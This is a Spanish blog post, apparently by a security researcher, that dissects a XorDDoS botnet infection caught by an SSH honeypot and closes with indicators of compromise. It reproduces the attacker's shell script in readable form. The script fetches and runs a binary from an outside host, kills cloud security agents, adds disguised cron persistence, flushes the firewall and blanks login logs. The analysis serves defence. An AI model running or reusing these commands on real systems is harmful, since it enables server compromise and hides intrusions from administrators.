XorDDoS · Capítulo 1
Alguien me trajo su malware a casa
Tengo un honeypot en algún rincón de la red. La mayoría es ruido: escáneres que miran y se van. Hasta que uno entró, se creyó administrador, y me subió su bicho por la puerta de servicio.
Un honeypot es un señuelo: una máquina que finge ser vulnerable para que la ataquen y así ver qué intentan y cómo. La mía lleva días recibiendo el tráfico de fondo de internet — decenas de miles de sondas al día, casi todas automáticas y sin gracia: "¿tienes el puerto abierto? ¿te has dejado el .env a la vista?". Miran y siguen.
Pero un cebo bien puesto no solo cuenta cuántos llaman a la puerta. De vez en cuando, uno entra — y ahí empieza lo interesante. Esto es la disección de uno de esos: desde el login hasta el binario, pasando por el guion de infección, que es una pequeña obra de artesanía sucia.
01La captura
El cebo de SSH acepta contraseñas débiles a propósito (para eso está). El atacante no era una persona tecleando: era un bot, y su secuencia fue mecánica y veloz.
- 0,0 sConecta al puerto 22 y prueba root : ubnt — "ubnt" es la contraseña de fábrica de los equipos Ubiquiti (la de su cuenta ubnt; el bot la recicla contra root). El cebo le abre.
- 1,2 sNo saluda, no explora. Pega de golpe un script de shell de ~50 líneas y lo ejecuta.
- 61 sComo el wget no le funcionó en el cebo, sube el binario directamente por SFTP — con un nombre aleatorio, skhqwensw — y trata de lanzarlo (/bin/skhqwensw). Falla (el cebo no ejecuta de verdad), pero la muestra ya es mía.
Del login a la desconexión, la sesión entera: 62 segundos (el último evento cae en el 61; el cierre, un segundo después). Y ese script pegado en el segundo 1 es el corazón de todo. Vamos línea por línea.
02El script, al desnudo
Un solo comando de shell que hace de todo: busca dónde instalarse, ciega la seguridad de la máquina, descarga su binario según la arquitectura, sabotea a la competencia y borra sus huellas. Lo he formateado para poder leerlo, pero la lógica es tal cual.
Buscar un sitio donde escribir y ejecutar
No le vale cualquier carpeta: muchas máquinas montan /tmp como noexec. Así que prueba varias y comprueba que puede ejecutar de verdad, no solo escribir.
# prueba /dev/shm, /tmp, /var/tmp, /home, /root
for i in "/dev/shm" "/tmp" "/var/tmp" "/home" "/root"; do
touch "$i/test_exec"; chmod +x "$i/test_exec"
if [ -w "$i" ] && [ -x "$i/test_exec" ]; then
wdir="$i"; rm -f "$i/test_exec"; break
fi
done; cd "$wdir" || exit 1Cegar los agentes de la nube (china)
Aquí se retrata el objetivo: mata los agentes de seguridad de Alibaba Cloud (aegis/AliYunDun) y Tencent Cloud (YDService/tat_agent). Va a por servidores en la nube china y apaga su vigilancia para minar/atacar sin que salte ninguna alarma ni el aviso de consumo.
for svc in aegis aliyun YDService tat_agent; do
systemctl stop $svc; systemctl disable $svc; systemctl mask $svc
done
chattr -R -i -a /usr/local/aegis/ # quita el flag inmutable...
chattr -R -i -a /usr/local/qcloud/ # ...para poder borrarlos
pkill -9 AliYunDun; pkill -9 YDService
rm -rf /usr/local/aegis /usr/local/qcloudDescargar el binario según la arquitectura
Le pasa uname -m a su propio servidor, que devuelve el binario correcto para esa CPU (x86, ARM, MIPS…). Y prueba seis métodos en cascada para no fallar — incluidos good y cool, que son sus propios wget/curl renombrados (ver stage E).
arch=$(uname -m)
url="hxxp://169.239.130[.]20/new.php?type=${arch}"
# intenta en orden hasta que uno traiga el fichero:
wget -q -T 30 "$url" -O new.txt ||
curl -skL -m 30 "$url" -o new.txt ||
good -q -T 30 "$url" -O new.txt || # = su wget renombrado
cool -skL -m 30 "$url" -o new.txt || # = su curl renombrado
python3 -c "import urllib.request;urllib.request.urlretrieve('$url','new.txt')" ||
python -c "import urllib;urllib.urlretrieve('$url','new.txt')"
chmod +x new.txt
setsid "./new.txt" & # setsid = sobrevive al cierre de sesiónTres matices de esta fase de infección: setsid desprende el proceso de la sesión SSH, así que sigue vivo aunque el atacante cierre la conexión; si el fichero no arranca como binario, lo reintenta como script (sh ./new.txt); y cuando ningún método de descarga funciona —como en mi cebo, que no tiene un wget real— tiene un plan B: empujar el binario él mismo por SFTP. Ese último recurso es, irónicamente, lo que me regaló la muestra. Antes de todo esto comprueba además un "cerrojo" (/var/run/gcc.pid): si ya se está ejecutando, no se reinfecta.
Persistencia disfrazada de "gcc"
Para sobrevivir a reinicios se clava un cron cada 3 minutos y se instala como servicio de arranque. Usa el nombre gcc como tapadera — un rasgo clásico de la familia XorDDoS.
echo '*/3 * * * * root /etc/cron.hourly/gcc.sh' >> /etc/crontab
# + se copia como init.d / rc.d (chkconfig, update-rc.d)Sabotear a la competencia
El truco más listo del guion: renombra wget→good y curl→cool. A partir de ahí, cualquier otra botnet que intente wget http://… para infectar la misma caja falla — pero este bot sigue descargando con los nombres nuevos. Territorio marcado.
mv $(which wget) $(dirname $(which wget))/good
mv $(which curl) $(dirname $(which curl))/coolBajar el puente levadizo y borrar las huellas
Primero desarma la defensa: para firewalld/ufw y hace iptables -F (vacía todas las reglas), para que nada estorbe la conversación con el C2. Después limpia su rastro de acceso.
systemctl stop firewalld ufw; iptables -F # cae el cortafuegos
for log in /var/log/wtmp /var/log/btmp /var/log/lastlog; do
echo > "$log" # VACÍA el fichero (no lo borra)
doneCada uno de esos tres ficheros es una libreta de accesos al sistema, y borrarlos ciega las herramientas con las que un administrador miraría "¿quién ha entrado?":
- /var/log/wtmp — los logins correctos (es lo que lee el comando last).
- /var/log/btmp — los logins fallidos (lastb).
- /var/log/lastlog — el último acceso de cada usuario.
El detalle fino: usa echo > fichero, que lo vacía, en vez de rm, que lo borraría. ¿Por qué? Borrar el fichero rompería el registro y llamaría la atención; dejarlo existente pero en blanco es más sutil. Tras esto, un last del admin no devuelve nada: como si nadie hubiera entrado nunca. Lo que no toca este script es /var/log/auth.log — un despiste suyo que dejaría rastro del SSH.
03El espécimen
El binario que subió por SFTP.
XorDDoS
Dentro, entre las strings, está todo el ADN de un bot de denegación de servicio: plantillas de GET/POST HTTP para flood (con un User-Agent chino falso), su configuración de C2 escondida tras una tabla XOR, y las rutas de persistencia gcc.sh que ya vimos en el script. La huella Alpine + clang es poco común y sirve para agrupar futuras muestras del mismo autor.
04¿Quién había detrás?
Solo inteligencia pasiva — bases de datos de terceros que ya conocen esas IPs. En ningún momento se toca la máquina del atacante: eso ya sería cruzar al otro lado.
Dos servidores tocaron esta captura — el que hizo el login y pegó el script, y el que servía los binarios —, los dos en hosting "offshore" tolerante al abuso (VPS baratos y desechables, no víctimas inocentes). Y un detalle que enseña mucho: el servidor de distribución — el que reparte el binario — es invisible para los feeds de reputación por escaneo (GreyNoise "no lo ha observado") — porque un servidor así no escanea: se queda quieto, sirviendo el bicho a quien viene a por él. Mi honeypot lo pilló con las manos en la masa; las bases de datos globales, ni se enteran. Moraleja: hacen falta varias fuentes.
05Indicadores (IOCs)
Indicadores de esta captura — listos para bloquear, buscar o reportar.
| Tipo | Valor |
|---|---|
| SHA-256 | 6f45c6d9c70d97f695cb7bbef362812a17f8ed4d37dafc342c26c86ed9b43638 |
| Distribución | hxxp://169.239.130[.]20/new.php |
| Credencial | root : ubnt (pass de fábrica Ubiquiti) |
| Persistencia | /etc/cron.hourly/gcc.sh · /var/run/gcc.pid · cron */3 |
| Renombrados | wget→good · curl→cool |
| Huella de build | Alpine clang 17.0.6 / LLD 17.0.6 |
Continuará — el C2 de este bicho sigue cifrado en el binario; lo destripo con Ghidra en la próxima entrega. Y el cebo sigue encendido, esperando al siguiente. 🍯
Comentarios